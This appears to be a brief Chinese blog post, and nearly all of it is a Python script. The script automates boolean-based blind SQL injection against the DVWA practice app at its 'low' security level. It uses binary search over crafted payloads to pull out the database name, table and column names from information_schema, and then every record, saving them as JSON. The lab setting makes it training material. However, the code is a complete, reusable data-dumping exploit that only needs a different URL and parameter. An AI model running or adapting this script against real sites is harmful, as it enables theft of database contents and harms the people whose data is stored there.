low
从数据库名到所有记录,用二分写了一遍。
import requests
import urllib
import jsonclass SqlHacker(object):"""docstring for SqlHacker"""def __init__(self, post=False, inject_point_number=False):super(SqlHacker, self).__init__()self.min_record_count = 0self.max_record_count = 100self.min_value_len = 0self.max_value_len = 128self.min_char = 0self.max_char = 255self.min_column_count = 1self.max_column_count = 20self.min_column_name_len = 1self.max_column_name_len = 50self.min_table_num = 0self.max_table_num = 100self.min_table_name_len = 1self.max_table_name_len = 50self.min_db_name_len = 1self.max_db_name_len = 50self.inject_point_number = inject_point_numberself.post = postdef get_db_name(self, url, data, inject_key, success_str, headers):db_name = ''if self.inject_point_number:payload = "1 and length(database())>%d"else:payload = "1' and+length(database())>%d#"L = self.min_db_name_lenR = self.max_db_name_lenwhile L < R:M = (L + R) / 2data[inject_key] = payload % Mif self.post:res = requests.post(url, data=data, headers=headers)else:res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mdatabase_name_len = Lfor x in xrange(1, 1 + database_name_len):if self.inject_point_number:payload = "1 and (select ord(mid(database(),%d,1)))>%d"else:payload = "1' and (select ord(mid(database(),%d,1)))>%d#"L = self.min_charR = self.max_charwhile L < R:M = (L + R) / 2data[inject_key] = payload % (x, M)if self.post:res = requests.post(url, data=data, headers=headers)else:res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mdb_name += chr(L)return db_namedef get_table_count(self, db_name, url, data, inject_key, success_str, headers):if self.inject_point_number:payload = "1 and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d"else:payload = "1' and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d#"L = self.min_table_numR = self.max_table_numwhile L < R:M = (L + R) / 2data[inject_key] = payload % (db_name, M)if self.post:res = requests.post(url, data=data, headers=headers)print(data)else:res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mreturn Ldef get_tables(self, db_name, table_count, url, data, inject_key, success_str, headers):tables = []for x in xrange(0, table_count):table_name_len = 0L = self.min_table_name_lenR = self.max_table_name_len + 1while L + 1 < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>0#" % (db_name, x, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = Melse:R = Mtable_name_len = Ltable_name = ''for i in xrange(1, 1 + table_name_len):L = self.min_charR = self.max_charwhile L < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>%d#" % (db_name, x, i, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mtable_name += chr(L)print(table_name)tables.append(table_name)return tablesdef get_column_count(self, db_name, table_name, url, data, inject_key, success_str, headers):L = self.min_column_countR = self.max_column_countwhile L < R:M = (L + R) / 2data[inject_key] = "1' and (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s')>%d#" % (db_name, table_name, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mreturn Ldef get_columns(self, db_name, table_name, column_count, url, data, inject_key, success_str, headers):ret = []for x in xrange(0, column_count):L = self.min_column_name_lenR = self.max_column_name_len + 1while L + 1 < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>0#" % (db_name, table_name, x, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = Melse:R = Mcolumn_name_len = Lcolumn_name = ''for i in xrange(1, 1 + column_name_len):L = self.min_charR = self.max_charwhile L < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>%d#" % (db_name, table_name, x, i, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mcolumn_name += chr(L)print(column_name)ret.append(column_name)return retdef get_record_count(self, table_name, url, data, inject_key, success_str, headers):L = self.min_record_countR = self.max_record_countwhile L < R:M = (L + R) / 2data[inject_key] = "1' and (select count(*) from %s)>%d#" % (table_name, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mreturn Ldef get_records(self, table_name, columns, record_count, url, data, inject_key, success_str, headers):ret = []for x in xrange(0, record_count):single_record = {}for column_name in columns:L = self.min_value_lenR = self.max_value_lenwhile L + 1 < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>0#" % (column_name, table_name, x, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = Melse:R = Mvalue_len = Lvalue = ''for i in xrange(1, 1 + value_len):L = self.min_charR = self.max_charwhile L < R:M = (L + R) / 2data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>%d#" % (column_name, table_name, x, i, M)res = requests.get(url + urllib.urlencode(data), headers=headers)if success_str in res.content:L = M + 1else:R = Mvalue += chr(L)single_record[column_name] = valueprint(value)ret.append(single_record)return retdef main():headers = {'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low'}data = {'Submit': 'Submit'}url = 'http://192.168.67.22/dvwa/vulnerabilities/sqli_blind/index.php?'inject_key = 'id'success_str = 'exists'sql_hacker = SqlHacker()db_name = sql_hacker.get_db_name(url, data, inject_key, success_str, headers)table_count = sql_hacker.get_table_count(db_name, url, data, inject_key, success_str, headers)print(table_count)tables = sql_hacker.get_tables(db_name, table_count, url, data, inject_key, success_str, headers)for table in tables:column_count = sql_hacker.get_column_count(db_name, table, url, data, inject_key, success_str, headers)columns = sql_hacker.get_columns(db_name, table, column_count, url, data, inject_key, success_str, headers) record_count = sql_hacker.get_record_count(table, url, data, inject_key, success_str, headers)records = sql_hacker.get_records(table, columns, record_count, url, data, inject_key, success_str, headers)records = json.dumps(records)h = open('%s.json' % table, 'w')h.write(records)h.close()if __name__ == '__main__':main()
针对low写好后,想改成更为通用的版本,待续。。